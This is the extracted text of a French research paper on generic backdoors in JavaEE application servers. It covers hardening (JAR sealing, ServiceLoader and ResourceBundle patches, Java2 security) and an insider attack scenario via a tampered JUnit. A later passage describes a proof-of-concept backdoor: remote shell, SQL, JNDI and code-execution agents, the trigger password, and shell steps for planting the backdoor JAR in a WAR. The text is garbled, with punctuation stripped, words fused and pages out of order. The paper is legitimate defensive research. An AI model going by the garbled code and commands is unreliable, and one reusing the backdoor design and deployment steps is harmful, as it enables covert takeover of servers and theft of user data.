Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes

Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes

ltbuildgt

ltplugins gt

ltplugin gt

ltartifactId gtmaven -jar -plugin ltartifactId gt

ltconfiguration gt

ltarchive gt

ltmanifestEntries gt

ltSealed gttrueltSealed gt

ltmanifestEntries gt

ltarchive gt

ltconfiguration gt

ltplugin gt

ltplugins gt

ltbuildgt

Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe

Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)

$ macaron -seal --in -place MonComposantear

Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages

Pour plus drsquoinformations invoquez lrsquoaide

$ macaron -seal --help

15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing

P Prados 437

Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local

$ macaron -seal --in -place --sha1 -R m2repository

De meme pour un repository Ivy

$ macaron -seal --in -place -R ivy2cache

Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes

$ macaron -audit --output audit -tomcatxml

-R $CATALINA_HOME

$ macaron -seal --ignore audit -tomcatxml

-R $CATALINA_HOME --in -place

Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe

$ macaron -audit --output - -R $CATALINA_HOME |

macaron -seal --ignore - -R $CATALINA_HOME --in-place

La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges

$ $CATALINA_HOMEbincatalinash run -security

Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables

Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur

$ macaron -seal --audit sealedxml MonComposantwar

$ firefox sealedxml

438 Porte derobee dans les serveurs drsquoapplications JavaEE

55 Reduction du risque des META-INFservices

La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation

Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant

Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface

Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader

if (SystemgetSecurityManager ()=null)

final Permission perm=

new ServicePermission(servicegetName ())

AccessControllerdoPrivileged(

new PrivilegedAction ltObject gt()

public Object run()

if (clazzgetProtectionDomain ()implies(perm))

throw new AccessControlException(

install service denied perm perm)

return null

)

Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin

Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader

De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants

ndash comsunndash orgrelaxingdatatype

ndash sunmisc

P Prados 439

Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees

j2sesrc javautilServiceLoaderjava | 42 +-

j2sesrc javautilServicePermissionjava | 74 ++++

j2sesrc javaxxmlbindContextFinderjava | 66 ---

j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----

j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12

j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----

j2sesrc javaxxmlparsersSAXParserFactoryjava | 17

j2sesrc javaxxmlsoapFactoryFinderjava | 39 --

j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----

j2sesrc javaxxmltransformFactoryFinderjava | 86 ----

j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +

j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--

j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------

j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --

15 files changed 283 insertions (+) 646 deletions(-)

Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet

grant

permission javautilServicePermission

javaxxmlparsersSAXParserFactory

En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ServiceLocator -6jar

Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente

Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat

440 Porte derobee dans les serveurs drsquoapplications JavaEE

56 Reduction du risque des ResourcesBundles

Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles

Fig 15 Nouveau RessourceBundle

La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe

Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang

3Ajava

Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle

$ java -Xbootclasspathppatch -ResourceBundle -5 jar

Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources

static final ResourceBundleControl securityControl =

new ResourceBundleControl ()

private ConcurrentHashMap ltString String gt

cacheType=

new ConcurrentHashMap ltString String gt()

public List ltString gt getFormats(String baseName)

return CollectionsunmodifiableList(

P Prados 441

ArraysasList(securityorder))

public ResourceBundle newBundle(String baseName

Locale locale

String format ClassLoader loader

boolean reload)

throws IllegalAccessException

InstantiationException IOException

ResourceBundle bundle=null

if (formatequals(securityorder))

String lastFormat=cacheTypeget(baseName)

if (lastFormat ==null)

bundle=supernewBundle(baseName locale

javaproperties

loader reload)

if (bundle =null)

cacheTypeput(baseName javaproperties)

else

cacheTypeput(baseName javaclass)

bundle=supernewBundle(baseName locale

javaclass

loader reload)

else

bundle=supernewBundle(baseName locale

lastFormat

loader reload)

return bundle

public boolean needsReload(String baseName

Locale locale

String format

ClassLoader loader

ResourceBundle bundle

long loadTime)

boolean result=

superneedsReload(baseName locale

format loader bundle loadTime)

if (result)

cacheTyperemove(baseName)

return result

Il doit etre utilise a chaque invocation de RessourceBundle

442 Porte derobee dans les serveurs drsquoapplications JavaEE

ResourceBundlegetBundle(Messages securityControl)getString(key)

Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes

Un diffstat indique lrsquoetendu des modifications

ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------

1 file changed 58 insertions (+) 50 deletions(-)

Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ResourceBundle -6 jar

Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties

mv sampleproperties sampleprop

public static class sample extends PropertyResourceBundle

public sample () throws IOException

super(sampleclassgetResourceAsStream(

rsquorsquo+sampleclassgetName ()

replace(rsquorsquorsquorsquo)+prop))

6 Conseils pour se proteger

Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques

Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive

P Prados 443

Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access

Les logs indiquent les privileges accordes mais sont difficiles a interpreter

access access allowed (javalangRuntimePermission accessDeclaredMembers)

access access allowed(javaioFilePermissionwebappsbackdoorjee -sample

WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation

MethodHandlerAdapterBeanInfoclass read)access access denied (javalang

RuntimePermission defineClassInPackagejavalang)

Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir

Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques

Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo

Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration

La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)

Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active

Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en

ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation

16 httpmacaron-policygooglecodecom

444 Porte derobee dans les serveurs drsquoapplications JavaEE

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

Il est preferable drsquoutiliser les patchs proposes

Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite

Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail

7 Scenario du pire

Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible

Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy

Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production

P Prados 445

La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur

Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources

Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet

En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles

Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau

Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement

446 Porte derobee dans les serveurs drsquoapplications JavaEE

dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte

Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures

Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment

Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde

Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui

Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente

De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal

P Prados 447

Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet

Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee

8 Conclusion

Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder

httpmacarongooglecodecom

Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement

A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone

ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger

les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter

  • Porte deacuterobeacutee dans les serveurs dapplications JavaEE
  • P Prados

P Prados 411

Une requete specifique conf permet drsquoindiquer le format drsquoencodage et la taillemaximum drsquoune trame a ne pas depasser Elle a le format suivant

ndashndash La clef en lrsquooccurrence laquo M4c4r0n raquo ndash Le caractere de fin de trame (laquo b raquo) ndash Le mot clef de la commande laquo conf raquo ndash Un caractere indiquant si lrsquoencodage doit etre hexadecimal ou base64 (laquo h raquo ou

laquo b raquo) ndash Un nombre indiquant la taille maximum des trames ndash Le caractere laquo W raquo comme separateur ndash Un nombre indiquant en second la frequence drsquoemission des trames

Par exemple pour demander lrsquoinitialisation de la porte derobee en utilisantlrsquoencodage hexadecimal une taille maximal des trames de 30 caracteres et un poolde 3 secondes il faut valoriser un champ de formulaire texte drsquoune vingtaine decaracteres comme le montre la figure 7

Fig 7 Configuration

Cela ouvre la porte tout en parametrant les communications futures Par defautlrsquoencodage est en base64 les trames ne depassent pas 80 caracteres et le pool est dedeux secondes Il est donc recommande de choisir un champ suffisamment grand pourrecevoir tous ces caracteres

27 Le scenario drsquoexecution

Le scenario drsquoexecution de la porte derobee est le suivant

ndash Etape 1 Declenchement du piegendash Etape 1bis Si necessaire augmentation des privileges en utilisant une tech-

nologie drsquoexecution implicite Puis attente drsquoun redemarrage du serveur drsquoappli-cation

ndash Etape 2 Injection drsquoun filtre sur toutes les requetes HTTP ndash Etape 3 Analyse de toutes les requetes pour detourner le flux de traitement

des requetes lors de la presentation de la clef

412 Porte derobee dans les serveurs drsquoapplications JavaEE

28 Les agents

Differents agents sont proposes par la porte derobee

ndashndash Un agent memorisant les dernieres requetes sur le serveur ndash Un agent JMX pour manipuler le serveur drsquoapplication ndash Un agent JNDI pour consulter lrsquoannuaire de la configuration ndash Un agent SQL pour manipuler la base de donnees ndash Un agent Javajavascript pour compiler et executer dynamiquement du code ndash Un agent Shell pour srsquoamuser

Fig 8 History

Agent History Cet agent permet de memoriser les dernieres requetes avec leursparametres quelque soit lrsquoutilisateur Il peut permettre de decouvrir des informationsconfidentielles soumises par drsquoautres utilisateurs

Agent JNDI Cet agent permet de naviguer dans lrsquoarbre JNDI lrsquoannuaire des objetsdes applications JavaEE Les ordres possibles sont

cd ltjndi_name gt

ls

dump ltjndi -name gt

P Prados 413

Fig 9 JNDI

La commande dump permet si possible de serialiser lrsquoobjet et drsquoafficher une vuehexadecimale du resultat Cela permet parfois de trouver des mots de passes

Agent JMX Cet agent permet de naviguer dans lrsquoarbre JMX lrsquoarbre de gestion desobjets du serveur Les ordres permettent de consulter ou de modifier les attributset drsquoinvoquer des traitements Lrsquoergonomie proposee ressemble a un shell avec unesyntaxe specifique Les ordres possibles sont

cd ltJMX name gt

ls

ltattr gt=ltvaleur gt

method(ltparams gt)

Agent JDBC Cet agent utilise la connexion a la base de donnees declaree dans lefichier webxml ou specifiee en ligne de commande Il permet drsquoinvoquer toutes lesrequetes SQLs autorisees par la connexion Si elles commencent par select lrsquoagentaffiche un tableau avec le resultat Sinon il execute le traitement et retourne un statut

La commande jndi ltkeygt permet drsquoutiliser une autre clef JNDI pour acceder ala base de donnees

Tous les privileges accordes a lrsquoapplication sont disponibles Il ne faut pas longtempsensuite pour les augmenter et attaquer le serveur de la base de donnees Les publica-tions sur les SQLs injections peuvent etre une source drsquoinspiration

414 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 10 JMX

Fig 11 JDBC

P Prados 415

Fig 12 JavaJavascript

Agent JavaJavascript Cet agent permet drsquoexecuter du code java ou javascriptsur le serveur

Pour lrsquoutilisation de Java le code est integre dans un fichier source java puiscompile avec le compilateur trouve sur place cote serveur Le code compile est injectedans le serveur a lrsquoaide drsquoun chargeur de classe puis execute Le resultat est retourneau navigateur

Si le code se termine par un rsquo rsquo ou rsquorsquo il est execute Sinon il est evalueLe code utilise le compilateur integre a Jasper le compilateur de JSP Srsquoil nrsquoest

pas present il exploite le compilateur du JDK disponible Si ce dernier nrsquoest paspresent car lrsquoapplication utilise un JRE le code recherche lrsquoarchive toolsjar pourlrsquoinjecter et lrsquoutiliser Il est rare de ne pas pouvoir compiler une classe dynamiquementsur le serveur

Pour lrsquoutilisation de Javascript le code utilise lrsquoimplementation Rhino presenteavec le JDK

Deux variables sont disponibles ndash request La requete HTTPndash out un flux dont le resultat sera affiche dans le navigateur

Agent laquo shell raquo Cet agent lance un shell sur le serveur et offre une interface similairedans le navigateur Des requetes periodiques permettent de recuperer les modificationsdrsquoetats dans le shell du serveur Il srsquoagit drsquoun simple shell TTY et non drsquoun shellANSI

416 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 13 Shell

Comme la porte derobee propose des agents generiques il nrsquoest pas possiblede connaıtre les motivations du pirate lors de sa decouverte Souhaite-il recupererdes informations confidentielle abuser des services de lrsquoapplication srsquoinjecter sur leserveur rebondir vers drsquoautres cibles

3 Demonstration

Pour illustrer cette etude un code de demonstration est propose Il srsquoagit drsquounearchive Java a placer dans le repertoire WEB-INFlib drsquoun composant Web Differentestechniques sont utilisees pour decouvrir les vulnerabilites efficaces dans lrsquoenviron-nement drsquoexecution

Le code commence par etre declenche par un piege (META-INFservices Resource-Bundle Annotation fichier de parametres etc) Puis le code attend quelques secon-des avant de demarrer pour ne pas interrompre lrsquoinitialisation du serveur si necessaire

Si la programmation par Aspect est possible et globale a toute la JVM le codeinstalle un filtre AOP sur toutes les servlets et toutes les JSP lors de leur chargementen memoire

Si la programmation par Aspect nrsquoest pas possible et que Spring est utilise le codeinstalle un bean Spring en detournant le parseur DOM Ainsi tous les controleurs duframework MVC peuvent ouvrir la porte derobee

Si Spring et lrsquoAOP ne sont pas presents le code essaye drsquoinjecter directementdes Valves Tomcat via JMX Sous Tomcat 5x cela est possible si le parametreltContext privileged=truegt est present Sous Tomcat 6x cela est toujours possible si lasecurite Java2 nrsquoest pas activee

P Prados 417

Si le moteur est compatible Servlet 30+ un filtre est declare via une annotationServletFilter Il est decouvert par le moteur JavaEE et installe discretement

Si cela ne fonctionne toujours pas le code essaye drsquoaugmenter ses privileges enrecopiant lrsquoarchive de la porte derobee dans un repertoire du serveur drsquoapplicationLe code srsquointerrompt alors pour attendre un redemarrage

Si lrsquoaugmentation de privilege nrsquoest pas possible ou nrsquoest pas appropriee pour leserveur drsquoapplications le code essaye de modifier le fichier webxml du repertoirede travail de Tomcat pour injecter un filtre JavaEE puis le code srsquoendort jusqursquoauprochain depart du serveur drsquoapplications

Ce scenario permet une installation de la porte derobee dans differentes situationsavec ou sans la securite Java2 activee avec plus ou moins de privileges

Au redemarrage du serveur drsquoapplicationsndash si lrsquoarchive a pu etre recopiee dans un repertoire du serveur drsquoapplications pour

augmenter les privileges le code utilise un ResourceBundle utilise par ce dernierpour installer effectivement la porte derobee a lrsquoaide de Valves

ndash si le fichier webxml a ete modifie lors de la premiere etape le serveur drsquoapplica-tions installe le filtre JavaEE

Si la securite Java2 est active et sans privilege particulier accordee a lrsquoarchivede la porte derobee le code est quand meme capable de srsquoinjecter Il faut que lecomposant WAR utilise Spring Lrsquoattaque exploite uniquement la redefinition delrsquoanalyseur XML DOM Nous proposons plus bas une solution pour interdire cela

31 Execution

Que la requete entre dans une Valve un filtre J2EE un PointCut Interceptorou AOP la porte derobee analyse tous les champs des formulaires Si elle trouve lavaleur M4c4r0n elle detourne le traitement pour executer un agent

La couche de transport analyse le suffixe apres la clef pour selectionner lrsquoagent Sila requete nrsquoest pas terminee elle alimente un tampon en memoire et retourne unepage vierge Sinon la requete est traitee et deleguee a lrsquoagent correspondant

Chaque agent utilise un protocole qui lui est propre

32 Executer la demonstration

Les demonstrations sont toutes fondees sur la meme approche Telecharger uncomposant WAR sur le net ajouter lrsquoarchive de la porte derobee dans le repertoireWEB-INFlib et installer le composant dans le serveur drsquoapplication

Voici des exemples que vous pouvez utiliser ndash httptomcatapacheorgtomcat-55-docappdevsamplesamplewar

418 Porte derobee dans les serveurs drsquoapplications JavaEE

ndash httphomepagentlworldcomrichard_c_atkinsonjfreechartjfreechart-sample

war

ndash httpwwwspringsourceorgdownload

Apres le telechargement utilisez un editeur drsquoarchives ZIP ou une console

$ wget http tomcatapacheorgtomcat -55-docappdevsamplesamplewar

$ mkdir -p WEB -INFlib

$ mv macaron -backdoor jar WEB -INFlib

$ jar -uf samplewar WEB -INF

$ cp samplewar $CATALINA_HOMEwebapps

Pour eviter toute utilisation malheureuse du code ce dernier ne srsquoexecute pas siquelques conditions ne sont pas reunies Il faut declarer la variable drsquoenvironnementmacaron-backdoor avant de lancer le serveur drsquoapplication

export JAVA_OPTS = $JAVA_OPTS -Dmacaron -backdoor=i-take -responsibility -for -my-

actions

Si de plus vous utilisez la securite avec Tomcat il faut ajouter trois privilegesdans le fichier $CATALINA HOMEconfcatalinapolicy dans la section grant

grant

Pour Macaron Backdoor

permission javautilPropertyPermission macaron -backdoorread

permission javalangRuntimePermission createClassLoader

permission javalangRuntimePermission getProtectionDomain

Notez que ces trois parametres ne sont pas necessaires avec la version non protegeequi nrsquoest pas publique

Puis lancez Tomcat

$ $CATALINA_HOMEbincatalinash run -security

Attendez trente secondes que la porte derobee soit bien en place puis avecun navigateur consultez le site Dans un champ de formulaire indiquez le mot depasse laquo M4c4r0n raquo ou ajoutez a lrsquoURL drsquoune page param=M4c4r0n

33 Diffusion du code

La librairie Macaron est un bon exemple de ce que peut faire un developpeurinconvenant Pour verifier que les protections sont en place il faut les challenger Lademonstration proposee sert a cela (Proof of Concept) Elle permet de qualifier unenvironnement en injectant volontairement cette archive pour en mesurer lrsquoimpact

P Prados 419

La librairie est diffusee a lrsquoaide drsquoune archive non hostile Les sources ne sont paspubliques

